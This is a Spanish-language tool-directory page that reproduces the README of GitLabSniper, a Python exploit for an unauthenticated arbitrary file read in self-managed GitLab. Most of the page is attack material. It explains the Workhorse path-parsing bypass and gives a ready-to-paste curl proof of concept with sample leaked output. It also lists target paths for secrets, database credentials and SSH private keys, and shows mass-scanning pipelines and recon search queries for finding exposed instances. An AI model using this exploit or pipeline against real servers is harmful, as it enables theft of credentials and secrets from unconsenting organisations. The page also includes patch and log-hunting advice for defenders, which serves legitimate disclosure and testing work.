Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
GitLabSniper — Escáner y exploit de Python en un solo archivo para CVE-2026-85706, una lectura arbitraria de archivos sin autenticación en GitLab CE/EE autogestionado, con enumeración de proyectos, rutas de loot y una shell interactiva. | Kitploit
Herramientas/GitHubGitHub/ynsmroztas/gitlabsniper
ReconocimientoEscáneres de VulnerabilidadesExplotaciónScripting y AutomatizaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubynsmroztas/gitlabsniper

GitLabSniper

Escáner y exploit de Python en un solo archivo para CVE-2026-85706, una lectura arbitraria de archivos sin autenticación en GitLab CE/EE autogestionado, con enumeración de proyectos, rutas de loot y una shell interactiva.

2hace 16h 46mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

GitLabSniper — canalización de lectura de archivos no autenticada CVE-2026-85706

GitLabSniper

CVE-2026-85706 — lectura arbitraria de archivos no autenticada en GitLab CE/EE
detección · enumeración de proyectos públicos · recolección · shell interactiva · canalización subfinder/httpx


Autor: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Sitio:

ynsmroztas.github.io

Correo:
[email protected]

Úsalo solo en sistemas que poseas o para los que tengas autorización explícita de prueba (bug bounty / VDP / contrato por escrito).


Qué es esto

GitLabSniper.py es un escáner/exploit de Python en un solo archivo para CVE-2026-85706: una lectura de archivos locales no autenticada en instancias autogestionadas de GitLab Community Edition y Enterprise Edition.

No se detiene en "la versión parece afectada". Dispara el bypass de diferencial del parser de Workhorse, clasifica la respuesta de Rails y solo imprime FILE LEAK cuando el cuerpo 400 contiene los bytes del archivo dentro de invalid %-encoding (...).

BandaVersiones
Afectadas18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
Parcheadas19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
Fuera de alcancegitlab.com · GitLab Dedicated

Cómo funciona el fallo

Tres endpoints de repositorio están detrás del requestBodyUploader de Workhorse:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails toma el campo crudo file.path y ejecuta File.open antes de authenticate!. require_gitlab_workhorse! no es una barrera real aquí: Workhorse ya estampa un JWT válido Gitlab-Workhorse-Api-Request en todo lo que proxya.

Se suponía que Workhorse reescribiría primero la subida. Su regex de ruta coincide con EscapedPath() y un clon de path.Clean que nunca decodifica porcentajes. Puma sí decodifica %XX antes del enrutado de Grape.

root@kitploit:~
Atacante
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← la barra final también se cuela
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     la regex ve "%63ommits" / "commits/"  → FALLO  (sin reescritura)
        │
        ▼
Puma          decodifica %63 → commits              → ENRUTA a Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → ANTES de auth
        │
        ▼
Rack          parse_nested_query(File.read(path))
              "%" suelto que no es %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<bytes crudos del archivo>)

file= en blanco satisface requires :file, WorkhorseFile (en blanco → nil). El canal de fuga es la rama urlencoded. JSON/Oj no devuelve los bytes del archivo de la misma forma — la herramienta siempre envía Content-Type=application/x-www-form-urlencoded.

//, /./, %2F y ; no evaden: path.Clean normaliza los dos primeros y Puma rechaza %2F.

El id del proyecto no es "de qué repo robar archivos". file.path es una ruta absoluta del servidor. El id es solo la pieza de la URL que llega al controlador vulnerable.

EndpointRequisito de proyecto
files (%66iles)Cualquier id suele funcionar — File.open es antes de las comprobaciones de proyecto
commits (%63ommits, commits/, commits.json)Necesita un proyecto que un usuario anónimo pueda read_code. De lo contrario 404 Project Not Found

Por eso la herramienta enumera GET /api/v4/projects y omite los ids restringidos.

Una fuga confirmada requiere esta subcadena en el cuerpo:

root@kitploit:~
invalid %-encoding (

Los archivos sin un % solitario aún pueden abrirse (read-noecho / más tarde branch is required) pero no se reflejarán. Eso es un oráculo, no un volcado reportable.


Características

  • Fingerprint de GitLab (HTML / x-gitlab-* / sign-in) + rango de versión cuando es visible
  • Enumeración de proyectos públicos (GET /api/v4/projects)
  • Selección automática de un id de proyecto no restringido (fallback 1..7)
  • Matriz de bypass de Workhorse
    • %63ommits · %72epository · %66iles
    • barra final / · .json
    • POST + PUT en files
  • Clasificador de respuestas: leak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute
  • Lista de recolección --auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, claves ssh, environ)
  • Formulario funcional fijo tras la primera fuga
  • Shell interactiva (cat, loot, secrets, passwd, project <id>, curl)
  • Canalización: hosts crudos, httpx -sc -td -title, httpx -json, ANSI eliminado
  • Informe JSON / JSONL (-o)
  • Banner HIT coloreado + PoC curl listo para pegar

Instalación

root@kitploit:~
pip install requests
python3 GitLabSniper.py -h

Python 3.10+. Sin otras dependencias.


Uso

Host único

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

Shell interactiva

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --shell
root@kitploit:~
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

Canalización (subfinder + httpx)

root@kitploit:~
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin no es un TTY → --pipe está implícito
cat hosts.txt | python3 GitLabSniper.py --auto

El parser acepta:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • objetos de httpx -json (url / status_code)
  • host y host:port sin formato
  • omite filas [0] / timeout / vacías

Opciones

OpciónSignificado
-u / -t / --targetURL base única
--pipeLeer objetivos desde stdin
-f / --listArchivo de hosts
--fileUna ruta absoluta a leer
--auto / --lootLista de archivos de alto valor de GitLab
--shellShell interactiva de lectura de archivos
--project-idForzar id de proyecto (por defecto: enum + fallback)
--max-projectsLimitar ids de enum/fallback (por defecto 8)
--forceEscanear aunque el fingerprint sea débil
--threadsWorkers de la canalización (por defecto 8)
--timeoutSegundos (por defecto 15)
-ohits.json o hits.jsonl
-qSilencioso
--no-bannerSin banner

Códigos de salida: 0 fuga · 1 solo oráculo / sin fuga en pipe · 2 sin señal utilizable.


Veredictos

EtiquetaSignificado¿Reportar?
leakinvalid %-encoding ( + bytes del archivoSí — confirmado
leak-fragmentEco parcialQuizá, adjuntar cuerpo
read-noecho401 / branch is required tras abrir, sin % en el archivoSolo oráculo
missinglocal file not present — el bypass llegó al discoOráculo de existencia
project-gate404 Project Not FoundProbar otro id público
rewriteWorkhorse reescribió el cuerpo (Invalid json)Esta forma está muerta
noroute404 simpleParcheado o ruta incorrecta
other500 / sobranteVolcar el cuerpo antes de afirmar

No presentes un crítico basándote solo en read-noecho.


Rutas de recolección por defecto

root@kitploit:~
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

Mayor impacto cuando se reflejan: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, contraseña de la BD).


PoC manual (la misma petición que emite la herramienta)

root@kitploit:~
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

Una instancia vulnerable devuelve un JSON similar a:

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

En algunos hosts %63ommits devuelve 401 y /repository/commits/ (barra final) es la forma que filtra. La herramienta recorre todas las variantes.


Ayudas de reconocimiento

root@kitploit:~
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"

Combínalo con subfinder | httpx | GitLabSniper.py --pipe --auto.


Descargo de responsabilidad

Este repositorio es para pruebas de seguridad autorizadas y validación defensiva tras el parcheo. Tú eres responsable del alcance.

Si operas una instancia autogestionada de GitLab en el rango afectado: actualiza a 19.1.8 / 19.2.6 / 19.3.2 ahora. Busca en los logs de acceso POST /api/v4/projects/*/repository/commits con un parámetro de consulta file.path.


Créditos

Vulnerabilidad reportada por s3ntago a través de GitLab HackerOne.

Write-up y PoC original sobre el que se construye esta herramienta:

https://github.com/guneykabel/cve-2026-85706

Gracias a guneykabel por publicar un clasificador claro (leak / missing / project-gate / rewrite) y la explicación del diferencial Workhorse ↔ Puma. GitLabSniper envuelve ese modelo con enumeración de proyectos, recolección, shell y canalizaciones de reconocimiento.

Aviso / parches de GitLab: CE/EE 19.1.8, 19.2.6, 19.3.2.


Autor

Yunus Emre Öztaş · mitsec

  • X — x.com/ynsmroztas
  • GitHub — github.com/ynsmroztas
  • Web — ynsmroztas.github.io
  • Correo — [email protected]
Descargar herramienta